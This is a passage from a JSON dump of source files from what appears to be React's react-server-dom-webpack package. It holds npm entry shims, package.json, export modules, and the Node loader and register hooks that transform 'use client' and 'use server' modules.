    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-webpack-server.browser.production.js');\n} else {\n  s = require('./cjs/react-server-dom-webpack-server.browser.development.js');\n}\n\nexports.prerender = s.prerender;\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/static.edge.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-webpack-server.edge.production.js');\n} else {\n  s = require('./cjs/react-server-dom-webpack-server.edge.development.js');\n}\n\nexports.prerender = s.prerender;\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/static.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/static.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-webpack-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-webpack-server.node.development.js');\n}\n\nexports.prerender = s.prerender;\nexports.prerenderToNodeStream = s.prerenderToNodeStream;\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/static.node.unbundled.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-webpack-server.node.unbundled.production.js');\n} else {\n  s = require('./cjs/react-server-dom-webpack-server.node.unbundled.development.js');\n}\n\nexports.prerenderToNodeStream = s.prerenderToNodeStream;\n"
  },
  {
    "path": "packages/react-server-dom-webpack/package.json",
    "content": "{\n  \"name\": \"react-server-dom-webpack\",\n  \"description\": \"React Server Components bindings for DOM using Webpack. This is intended to be integrated into meta-frameworks. It is not intended to be imported directly.\",\n  \"version\": \"19.3.0\",\n  \"keywords\": [\n    \"react\"\n  ],\n  \"homepage\": \"https://react.dev/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"plugin.js\",\n    \"client.js\",\n    \"client.browser.js\",\n    \"client.edge.js\",\n    \"client.node.js\",\n    \"server.js\",\n    \"server.browser.js\",\n    \"server.edge.js\",\n    \"server.node.js\",\n    \"static.js\",\n    \"static.browser.js\",\n    \"static.edge.js\",\n    \"static.node.js\",\n    \"node-register.js\",\n    \"cjs/\",\n    \"esm/\"\n  ],\n  \"exports\": {\n    \".\": \"./index.js\",\n    \"./plugin\": \"./plugin.js\",\n    \"./client\": {\n      \"workerd\": \"./client.edge.js\",\n      \"deno\": \"./client.edge.js\",\n      \"worker\": \"./client.edge.js\",\n      \"node\": \"./client.node.js\",\n      \"edge-light\": \"./client.edge.js\",\n      \"browser\": \"./client.browser.js\",\n      \"default\": \"./client.browser.js\"\n    },\n    \"./client.browser\": \"./client.browser.js\",\n    \"./client.edge\": \"./client.edge.js\",\n    \"./client.node\": \"./client.node.js\",\n    \"./server\": {\n      \"react-server\": {\n        \"workerd\": \"./server.edge.js\",\n        \"deno\": \"./server.browser.js\",\n        \"node\": \"./server.node.js\",\n        \"edge-light\": \"./server.edge.js\",\n        \"browser\": \"./server.browser.js\"\n      },\n      \"default\": \"./server.js\"\n    },\n    \"./server.browser\": \"./server.browser.js\",\n    \"./server.edge\": \"./server.edge.js\",\n    \"./server.node\": \"./server.node.js\",\n    \"./static\": {\n      \"react-server\": {\n        \"workerd\": \"./static.edge.js\",\n        \"deno\": \"./static.browser.js\",\n        \"node\": \"./static.node.js\",\n        \"edge-light\": \"./static.edge.js\",\n        \"browser\": \"./static.browser.js\"\n      },\n      \"default\": \"./static.js\"\n    },\n    \"./static.browser\": \"./static.browser.js\",\n    \"./static.edge\": \"./static.edge.js\",\n    \"./static.node\": \"./static.node.js\",\n    \"./node-loader\": \"./esm/react-server-dom-webpack-node-loader.production.js\",\n    \"./node-register\": \"./node-register.js\",\n    \"./src/*\": \"./src/*.js\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-server-dom-webpack\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.3.0\",\n    \"react-dom\": \"^19.3.0\",\n    \"webpack\": \"^5.59.0\"\n  },\n  \"dependencies\": {\n    \"acorn-loose\": \"^8.3.0\",\n    \"neo-async\": \"^2.6.1\",\n    \"webpack-sources\": \"^3.2.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/plugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default} from './src/ReactFlightWebpackPlugin';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/server.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './src/server/react-flight-dom-server.browser';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/server.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  decodeReply,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './src/server/react-flight-dom-server.edge';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-webpack/server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToPipeableStream,\n  renderToReadableStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/ReactFlightWebpackNodeLoader.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as acorn from 'acorn-loose';\n\nimport readMappings from 'webpack-sources/lib/helpers/readMappings.js';\nimport createMappingsSerializer from 'webpack-sources/lib/helpers/createMappingsSerializer.js';\n\ntype ResolveContext = {\n  conditions: Array<string>,\n  parentURL: string | void,\n};\n\ntype ResolveFunction = (\n  string,\n  ResolveContext,\n  ResolveFunction,\n) => {url: string} | Promise<{url: string}>;\n\ntype GetSourceContext = {\n  format: string,\n};\n\ntype GetSourceFunction = (\n  string,\n  GetSourceContext,\n  GetSourceFunction,\n) => Promise<{source: Source}>;\n\ntype TransformSourceContext = {\n  format: string,\n  url: string,\n};\n\ntype TransformSourceFunction = (\n  Source,\n  TransformSourceContext,\n  TransformSourceFunction,\n) => Promise<{source: Source}>;\n\ntype LoadContext = {\n  conditions: Array<string>,\n  format: string | null | void,\n  importAssertions: Object,\n};\n\ntype LoadFunction = (\n  string,\n  LoadContext,\n  LoadFunction,\n) => Promise<{format: string, shortCircuit?: boolean, source: Source}>;\n\ntype Source = string | ArrayBuffer | Uint8Array;\n\nlet warnedAboutConditionsFlag = false;\n\nlet stashedGetSource: null | GetSourceFunction = null;\nlet stashedResolve: null | ResolveFunction = null;\n\nexport async function resolve(\n  specifier: string,\n  context: ResolveContext,\n  defaultResolve: ResolveFunction,\n): Promise<{url: string}> {\n  // We stash this in case we end up needing to resolve export * statements later.\n  stashedResolve = defaultResolve;\n\n  if (!context.conditions.includes('react-server')) {\n    context = {\n      ...context,\n      conditions: [...context.conditions, 'react-server'],\n    };\n    if (!warnedAboutConditionsFlag) {\n      warnedAboutConditionsFlag = true;\n      // eslint-disable-next-line react-internal/no-production-logging\n      console.warn(\n        'You did not run Node.js with the `--conditions react-server` flag. ' +\n          'Any \"react-server\" override will only work with ESM imports.',\n      );\n    }\n  }\n  return await defaultResolve(specifier, context, defaultResolve);\n}\n\nexport async function getSource(\n  url: string,\n  context: GetSourceContext,\n  defaultGetSource: GetSourceFunction,\n): Promise<{source: Source}> {\n  // We stash this in case we end up needing to resolve export * statements later.\n  stashedGetSource = defaultGetSource;\n  return defaultGetSource(url, context, defaultGetSource);\n}\n\ntype ExportedEntry = {\n  localName: string,\n  exportedName: string,\n  type: null | string,\n  loc: {\n    start: {line: number, column: number},\n    end: {line: number, column: number},\n  },\n  originalLine: number,\n  originalColumn: number,\n  originalSource: number,\n  nameIndex: number,\n};\n\nfunction addExportedEntry(\n  exportedEntries: Array<ExportedEntry>,\n  localNames: Set<string>,\n  localName: string,\n  exportedName: string,\n  type: null | 'function',\n  loc: {\n    start: {line: number, column: number},\n    end: {line: number, column: number},\n  },\n) {\n  if (localNames.has(localName)) {\n    // If the same local name is exported more than once, we only need one of the names.\n    return;\n  }\n  exportedEntries.push({\n    localName,\n    exportedName,\n    type,\n    loc,\n    originalLine: -1,\n    originalColumn: -1,\n    originalSource: -1,\n    nameIndex: -1,\n  });\n}\n\nfunction addLocalExportedNames(\n  exportedEntries: Array<ExportedEntry>,\n  localNames: Set<string>,\n  node: any,\n) {\n  switch (node.type) {\n    case 'Identifier':\n      addExportedEntry(\n        exportedEntries,\n        localNames,\n        node.name,\n        node.name,\n        null,\n        node.loc,\n      );\n      return;\n    case 'ObjectPattern':\n      for (let i = 0; i < node.properties.length; i++)\n        addLocalExportedNames(exportedEntries, localNames, node.properties[i]);\n      return;\n    case 'ArrayPattern':\n      for (let i = 0; i < node.elements.length; i++) {\n        const element = node.elements[i];\n        if (element)\n          addLocalExportedNames(exportedEntries, localNames, element);\n      }\n      return;\n    case 'Property':\n      addLocalExportedNames(exportedEntries, localNames, node.value);\n      return;\n    case 'AssignmentPattern':\n      addLocalExportedNames(exportedEntries, localNames, node.left);\n      return;\n    case 'RestElement':\n      addLocalExportedNames(exportedEntries, localNames, node.argument);\n      return;\n    case 'ParenthesizedExpression':\n      addLocalExportedNames(exportedEntries, localNames, node.expression);\n      return;\n  }\n}\n\nfunction transformServerModule(\n  source: string,\n  program: any,\n  url: string,\n  sourceMap: any,\n  loader: LoadFunction,\n): string {\n  const body = program.body;\n\n  // This entry list needs to be in source location order.\n  const exportedEntries: Array<ExportedEntry> = [];\n  // Dedupe set.\n  const localNames: Set<string> = new Set();\n\n  for (let i = 0; i < body.length; i++) {\n    const node = body[i];\n    switch (node.type) {\n      case 'ExportAllDeclaration':\n        // If export * is used, the other file needs to explicitly opt into \"use server\" too.\n        break;\n      case 'ExportDefaultDeclaration':\n        if (node.declaration.type === 'Identifier') {\n          addExportedEntry(\n            exportedEntries,\n            localNames,\n            node.declaration.name,\n            'default',\n            null,\n            node.declaration.loc,\n          );\n        } else if (node.declaration.type === 'FunctionDeclaration') {\n          if (node.declaration.id) {\n            addExportedEntry(\n              exportedEntries,\n              localNames,\n              node.declaration.id.name,\n              'default',\n              'function',\n              node.declaration.id.loc,\n            );\n          } else {\n            // TODO: This needs to be rewritten inline because it doesn't have a local name.\n          }\n        }\n        continue;\n      case 'ExportNamedDeclaration':\n        if (node.declaration) {\n          if (node.declaration.type === 'VariableDeclaration') {\n            const declarations = node.declaration.declarations;\n            for (let j = 0; j < declarations.length; j++) {\n              addLocalExportedNames(\n                exportedEntries,\n                localNames,\n                declarations[j].id,\n              );\n            }\n          } else {\n            const name = node.declaration.id.name;\n            addExportedEntry(\n              exportedEntries,\n              localNames,\n              name,\n              name,\n\n              node.declaration.type === 'FunctionDeclaration'\n                ? 'function'\n                : null,\n              node.declaration.id.loc,\n            );\n          }\n        }\n        if (node.specifiers) {\n          const specifiers = node.specifiers;\n          for (let j = 0; j < specifiers.length; j++) {\n            const specifier = specifiers[j];\n            addExportedEntry(\n              exportedEntries,\n              localNames,\n              specifier.local.name,\n              specifier.exported.name,\n              null,\n              specifier.local.loc,\n            );\n          }\n        }\n        continue;\n    }\n  }\n\n  let mappings =\n    sourceMap && typeof sourceMap.mappings === 'string'\n      ? sourceMap.mappings\n      : '';\n  let newSrc = source;\n\n  if (exportedEntries.length > 0) {\n    let lastSourceIndex = 0;\n    let lastOriginalLine = 0;\n    let lastOriginalColumn = 0;\n    let lastNameIndex = 0;\n    let sourceLineCount = 0;\n    let lastMappedLine = 0;\n\n    if (sourceMap) {\n      // We iterate source mapping entries and our matched exports in parallel to source map\n      // them to their original location.\n      let nextEntryIdx = 0;\n      let nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;\n      let nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;\n      readMappings(\n        mappings,\n        (\n          generatedLine: number,\n          generatedColumn: number,\n          sourceIndex: number,\n          originalLine: number,\n          originalColumn: number,\n          nameIndex: number,\n        ) => {\n          if (\n            generatedLine > nextEntryLine ||\n            (generatedLine === nextEntryLine &&\n              generatedColumn > nextEntryColumn)\n          ) {\n            // We're past the entry which means that the best match we have is the previous entry.\n            if (lastMappedLine === nextEntryLine) {\n              // Match\n              exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;\n              exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;\n              exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;\n              exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;\n            } else {\n              // Skip if we didn't have any mappings on the exported line.\n            }\n            nextEntryIdx++;\n            if (nextEntryIdx < exportedEntries.length) {\n              nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;\n              nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;\n            } else {\n              nextEntryLine = -1;\n              nextEntryColumn = -1;\n            }\n          }\n          lastMappedLine = generatedLine;\n          if (sourceIndex > -1) {\n            lastSourceIndex = sourceIndex;\n          }\n          if (originalLine > -1) {\n            lastOriginalLine = originalLine;\n          }\n          if (originalColumn > -1) {\n            lastOriginalColumn = originalColumn;\n          }\n          if (nameIndex > -1) {\n            lastNameIndex = nameIndex;\n          }\n        },\n      );\n      if (nextEntryIdx < exportedEntries.length) {\n        if (lastMappedLine === nextEntryLine) {\n          // Match\n          exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;\n          exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;\n          exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;\n          exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;\n        }\n      }\n\n      for (\n        let lastIdx = mappings.length - 1;\n        lastIdx >= 0 && mappings[lastIdx] === ';';\n        lastIdx--\n      ) {\n        // If the last mapped lines don't contain any segments, we don't get a callback from readMappings\n        // so we need to pad the number of mapped lines, with one for each empty line.\n        lastMappedLine++;\n      }\n\n      sourceLineCount = program.loc.end.line;\n      if (sourceLineCount < lastMappedLine) {\n        throw new Error(\n          'The source map has more mappings than there are lines.',\n        );\n      }\n      // If the original source string had more lines than there are mappings in the source map.\n      // Add some extra padding of unmapped lines so that any lines that we add line up.\n      for (\n        let extraLines = sourceLineCount - lastMappedLine;\n        extraLines > 0;\n        extraLines--\n      ) {\n        mappings += ';';\n      }\n    } else {\n      // If a file doesn't have a source map then we generate a blank source map that just\n      // contains the original content and segments pointing to the original lines.\n      sourceLineCount = 1;\n      let idx = -1;\n      while ((idx = source.indexOf('\\n', idx + 1)) !== -1) {\n        sourceLineCount++;\n      }\n      mappings = 'AAAA' + ';AACA'.repeat(sourceLineCount - 1);\n      sourceMap = {\n        version: 3,\n        sources: [url],\n        sourcesContent: [source],\n        mappings: mappings,\n        sourceRoot: '',\n      };\n      lastSourceIndex = 0;\n      lastOriginalLine = sourceLineCount;\n      lastOriginalColumn = 0;\n      lastNameIndex = -1;\n      lastMappedLine = sourceLineCount;\n\n      for (let i = 0; i < exportedEntries.length; i++) {\n        // Point each entry to original location.\n        const entry = exportedEntries[i];\n        entry.originalSource = 0;\n        entry.originalLine = entry.loc.start.line;\n        // We use column zero since we do the short-hand line-only source maps above.\n        entry.originalColumn = 0; // entry.loc.start.column;\n      }\n    }\n\n    newSrc += '\\n\\n;';\n    newSrc +=\n      'import {registerServerReference} from \"react-server-dom-webpack/server\";\\n';\n    if (mappings) {\n      mappings += ';;';\n    }\n\n    const createMapping = createMappingsSerializer();\n\n    // Create an empty mapping pointing to where we last left off to reset the counters.\n    let generatedLine = 1;\n    createMapping(\n      generatedLine,\n      0,\n      lastSourceIndex,\n      lastOriginalLine,\n      lastOriginalColumn,\n      lastNameIndex,\n    );\n    for (let i = 0; i < exportedEntries.length; i++) {\n      const entry = exportedEntries[i];\n      generatedLine++;\n      if (entry.type !== 'function') {\n        // We first check if the export is a function and if so annotate it.\n        newSrc += 'if (typeof ' + entry.localName + ' === \"function\") ';\n      }\n      newSrc += 'registerServerReference(' + entry.localName + ',';\n      newSrc += JSON.stringify(url) + ',';\n      newSrc += JSON.stringify(entry.exportedName) + ');\\n';\n\n      mappings += createMapping(\n        generatedLine,\n        0,\n        entry.originalSource,\n        entry.originalLine,\n        entry.originalColumn,\n        entry.nameIndex,\n      );\n    }\n  }\n\n  if (sourceMap) {\n    // Override with an new mappings and serialize an inline source map.\n    sourceMap.mappings = mappings;\n    newSrc +=\n      '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      Buffer.from(JSON.stringify(sourceMap)).toString('base64');\n  }\n\n  return newSrc;\n}\n\nfunction addExportNames(names: Array<string>, node: any) {\n  switch (node.type) {\n    case 'Identifier':\n      names.push(node.name);\n      return;\n    case 'ObjectPattern':\n      for (let i = 0; i < node.properties.length; i++)\n        addExportNames(names, node.properties[i]);\n      return;\n    case 'ArrayPattern':\n      for (let i = 0; i < node.elements.length; i++) {\n        const element = node.elements[i];\n        if (element) addExportNames(names, element);\n      }\n      return;\n    case 'Property':\n      addExportNames(names, node.value);\n      return;\n    case 'AssignmentPattern':\n      addExportNames(names, node.left);\n      return;\n    case 'RestElement':\n      addExportNames(names, node.argument);\n      return;\n    case 'ParenthesizedExpression':\n      addExportNames(names, node.expression);\n      return;\n  }\n}\n\nfunction resolveClientImport(\n  specifier: string,\n  parentURL: string,\n): {url: string} | Promise<{url: string}> {\n  // Resolve an import specifier as if it was loaded by the client. This doesn't use\n  // the overrides that this loader does but instead reverts to the default.\n  // This resolution algorithm will not necessarily have the same configuration\n  // as the actual client loader. It should mostly work and if it doesn't you can\n  // always convert to explicit exported names instead.\n  const conditions = ['node', 'import'];\n  if (stashedResolve === null) {\n    throw new Error(\n      'Expected resolve to have been called before transformSource',\n    );\n  }\n  return stashedResolve(specifier, {conditions, parentURL}, stashedResolve);\n}\n\nasync function parseExportNamesInto(\n  body: any,\n  names: Array<string>,\n  parentURL: string,\n  loader: LoadFunction,\n): Promise<void> {\n  for (let i = 0; i < body.length; i++) {\n    const node = body[i];\n    switch (node.type) {\n      case 'ExportAllDeclaration':\n        if (node.exported) {\n          addExportNames(names, node.exported);\n          continue;\n        } else {\n          const {url} = await resolveClientImport(node.source.value, parentURL);\n          const {source} = await loader(\n            url,\n            {format: 'module', conditions: [], importAssertions: {}},\n            loader,\n          );\n          if (typeof source !== 'string') {\n            throw new Error('Expected the transformed source to be a string.');\n          }\n          let childBody;\n          try {\n            childBody = acorn.parse(source, {\n              ecmaVersion: '2024',\n              sourceType: 'module',\n            }).body;\n          } catch (x) {\n            // eslint-disable-next-line react-internal/no-production-logging\n            console.error('Error parsing %s %s', url, x.message);\n            continue;\n          }\n          await parseExportNamesInto(childBody, names, url, loader);\n          continue;\n        }\n      case 'ExportDefaultDeclaration':\n        names.push('default');\n        continue;\n      case 'ExportNamedDeclaration':\n        if (node.declaration) {\n          if (node.declaration.type === 'VariableDeclaration') {\n            const declarations = node.declaration.declarations;\n            for (let j = 0; j < declarations.length; j++) {\n              addExportNames(names, declarations[j].id);\n            }\n          } else {\n            addExportNames(names, node.declaration.id);\n          }\n        }\n        if (node.specifiers) {\n          const specifiers = node.specifiers;\n          for (let j = 0; j < specifiers.length; j++) {\n            addExportNames(names, specifiers[j].exported);\n          }\n        }\n        continue;\n    }\n  }\n}\n\nasync function transformClientModule(\n  program: any,\n  url: string,\n  sourceMap: any,\n  loader: LoadFunction,\n): Promise<string> {\n  const body = program.body;\n\n  const names: Array<string> = [];\n\n  await parseExportNamesInto(body, names, url, loader);\n\n  if (names.length === 0) {\n    return '';\n  }\n\n  let newSrc =\n    'import {registerClientReference} from \"react-server-dom-webpack/server\";\\n';\n  for (let i = 0; i < names.length; i++) {\n    const name = names[i];\n    if (name === 'default') {\n      newSrc += 'export default ';\n      newSrc += 'registerClientReference(function() {';\n      newSrc +=\n        'throw new Error(' +\n        JSON.stringify(\n          `Attempted to call the default export of ${url} from the server ` +\n            `but it's on the client. It's not possible to invoke a client function from ` +\n            `the server, it can only be rendered as a Component or passed to props of a ` +\n            `Client Component.`,\n        ) +\n        ');';\n    } else {\n      newSrc += 'export const ' + name + ' = ';\n      newSrc += 'registerClientReference(function() {';\n      newSrc +=\n        'throw new Error(' +\n        JSON.stringify(\n          `Attempted to call ${name}() from the server but ${name} is on the client. ` +\n            `It's not possible to invoke a client function from the server, it can ` +\n            `only be rendered as a Component or passed to props of a Client Component.`,\n        ) +\n        ');';\n    }\n    newSrc += '},';\n    newSrc += JSON.stringify(url) + ',';\n    newSrc += JSON.stringify(name) + ');\\n';\n  }\n\n  // TODO: Generate source maps for Client Reference functions so they can point to their\n  // original locations.\n  return newSrc;\n}\n\nasync function loadClientImport(\n  url: string,\n  defaultTransformSource: TransformSourceFunction,\n): Promise<{format: string, shortCircuit?: boolean, source: Source}> {\n  if (stashedGetSource === null) {\n    throw new Error(\n      'Expected getSource to have been called before transformSource',\n    );\n  }\n  // TODO: Validate that this is another module by calling getFormat.\n  const {source} = await stashedGetSource(\n    url,\n    {format: 'module'},\n    stashedGetSource,\n  );\n  const result = await defaultTransformSource(\n    source,\n    {format: 'module', url},\n    defaultTransformSource,\n  );\n  return {format: 'module', source: result.source};\n}\n\nasync function transformModuleIfNeeded(\n  source: string,\n  url: string,\n  loader: LoadFunction,\n): Promise<string> {\n  // Do a quick check for the exact string. If it doesn't exist, don't\n  // bother parsing.\n  if (\n    source.indexOf('use client') === -1 &&\n    source.indexOf('use server') === -1\n  ) {\n    return source;\n  }\n\n  let sourceMappingURL = null;\n  let sourceMappingStart = 0;\n  let sourceMappingEnd = 0;\n  let sourceMappingLines = 0;\n\n  let program;\n  try {\n    program = acorn.parse(source, {\n      ecmaVersion: '2024',\n      sourceType: 'module',\n      locations: true,\n      onComment(\n        block: boolean,\n        text: string,\n        start: number,\n        end: number,\n        startLoc: {line: number, column: number},\n        endLoc: {line: number, column: number},\n      ) {\n        if (\n          text.startsWith('# sourceMappingURL=') ||\n          text.startsWith('@ sourceMappingURL=')\n        ) {\n          sourceMappingURL = text.slice(19);\n          sourceMappingStart = start;\n          sourceMappingEnd = end;\n          sourceMappingLines = endLoc.line - startLoc.line;\n        }\n      },\n    });\n  } catch (x) {\n    // eslint-disable-next-line react-internal/no-production-logging\n    console.error('Error parsing %s %s', url, x.message);\n    return source;\n  }\n\n  let useClient = false;\n  let useServer = false;\n\n  const body = program.body;\n  for (let i = 0; i < body.length; i++) {\n    const node = body[i];\n    if (node.type !== 'ExpressionStatement' || !node.directive) {\n      break;\n    }\n    if (node.directive === 'use client') {\n      useClient = true;\n    }\n    if (node.directive === 'use server') {\n      useServer = true;\n    }\n  }\n\n  if (!useClient && !useServer) {\n    return source;\n  }\n\n  if (useClient && useServer) {\n    throw new Error(\n      'Cannot have both \"use client\" and \"use server\" directives in the same file.',\n    );\n  }\n\n  let sourceMap = null;\n  if (sourceMappingURL) {\n    const sourceMapResult = await loader(\n      sourceMappingURL,\n      // $FlowFixMe\n      {\n        format: 'json',\n        conditions: [],\n        importAssertions: {type: 'json'},\n        importAttributes: {type: 'json'},\n      },\n      loader,\n    );\n    const sourceMapString =\n      typeof sourceMapResult.source === 'string'\n        ? sourceMapResult.source\n        : // $FlowFixMe\n          sourceMapResult.source.toString('utf8');\n    sourceMap = JSON.parse(sourceMapString);\n\n    // Strip the source mapping comment. We'll re-add it below if needed.\n    source =\n      source.slice(0, sourceMappingStart) +\n      '\\n'.repeat(sourceMappingLines) +\n      source.slice(sourceMappingEnd);\n  }\n\n  if (useClient) {\n    return transformClientModule(program, url, sourceMap, loader);\n  }\n\n  return transformServerModule(source, program, url, sourceMap, loader);\n}\n\nexport async function transformSource(\n  source: Source,\n  context: TransformSourceContext,\n  defaultTransformSource: TransformSourceFunction,\n): Promise<{source: Source}> {\n  const transformed = await defaultTransformSource(\n    source,\n    context,\n    defaultTransformSource,\n  );\n  if (context.format === 'module') {\n    const transformedSource = transformed.source;\n    if (typeof transformedSource !== 'string') {\n      throw new Error('Expected source to have been transformed to a string.');\n    }\n    const newSrc = await transformModuleIfNeeded(\n      transformedSource,\n      context.url,\n      (url: string, ctx: LoadContext, defaultLoad: LoadFunction) => {\n        return loadClientImport(url, defaultTransformSource);\n      },\n    );\n    return {source: newSrc};\n  }\n  return transformed;\n}\n\nexport async function load(\n  url: string,\n  context: LoadContext,\n  defaultLoad: LoadFunction,\n): Promise<{format: string, shortCircuit?: boolean, source: Source}> {\n  const result = await defaultLoad(url, context, defaultLoad);\n  if (result.format === 'module') {\n    if (typeof result.source !== 'string') {\n      throw new Error('Expected source to have been loaded into a string.');\n    }\n    const newSrc = await transformModuleIfNeeded(\n      result.source,\n      url,\n      defaultLoad,\n    );\n    return {format: 'module', source: newSrc};\n  }\n  return result;\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/ReactFlightWebpackNodeRegister.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst acorn = require('acorn-loose');\n\nconst url = require('url');\n\nconst Module = require('module');\n\nmodule.exports = function register() {\n  const Server: any = require('react-server-dom-webpack/server');\n  const registerServerReference = Server.registerServerReference;\n  const createClientModuleProxy = Server.createClientModuleProxy;\n\n  // $FlowFixMe[prop-missing] found when upgrading Flow\n  const originalCompile = Module.prototype._compile;\n\n  // $FlowFixMe[prop-missing] found when upgrading Flow\n  Module.prototype._compile = function (\n    this: any,\n    content: string,\n    filename: string,\n  ): void {\n    // Do a quick check for the exact string. If it doesn't exist, don't\n    // bother parsing.\n    if (\n      content.indexOf('use client') === -1 &&\n      content.indexOf('use server') === -1\n    ) {\n      return originalCompile.apply(this, arguments);\n    }\n\n    let body;\n    try {\n      body = acorn.parse(content, {\n        ecmaVersion: '2024',\n        sourceType: 'source',\n      }).body;\n    } catch (x) {\n      console['error']('Error parsing %s %s', url, x.message);\n      return originalCompile.apply(this, arguments);\n    }\n\n    let useClient = false;\n    let useServer = false;\n    for (let i = 0; i < body.length; i++) {\n      const node = body[i];\n      if (node.type !== 'ExpressionStatement' || !node.directive) {\n        break;\n      }\n      if (node.directive === 'use client') {\n        useClient = true;\n      }\n      if (node.directive === 'use server') {\n        useServer = true;\n      }\n    }\n\n    if (!useClient && !useServer) {\n      return originalCompile.apply(this, arguments);\n    }\n\n    if (useClient && useServer) {\n      throw new Error(\n        'Cannot have both \"use client\" and \"use server\" directives in the same file.',\n      );\n    }\n\n    if (useClient) {\n      const moduleId: string = (url.pathToFileURL(filename).href: any);\n      this.exports = createClientModuleProxy(moduleId);\n    }\n\n    if (useServer) {\n      originalCompile.apply(this, arguments);\n\n      const moduleId: string = (url.pathToFileURL(filename).href: any);\n\n      const exports = this.exports;\n\n      // This module is imported server to server, but opts in to exposing functions by\n      // reference. If there are any functions in the export.\n      if (typeof exports === 'function') {\n        // The module exports a function directly,\n        registerServerReference(\n          (exports: any),\n          moduleId,\n          // Represents the whole Module object instead of a particular import.\n          null,\n        );\n      } else {\n        const keys = Object.keys(exports);\n        for (let i = 0; i < keys.length; i++) {\n          const key = keys[i];\n          const value = exports[keys[i]];\n          if (typeof value === 'function') {\n            registerServerReference((value: any), moduleId, key);\n          }\n        }\n      }\n    }\n  };\n};\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/ReactFlightWebpackPlugin.js",
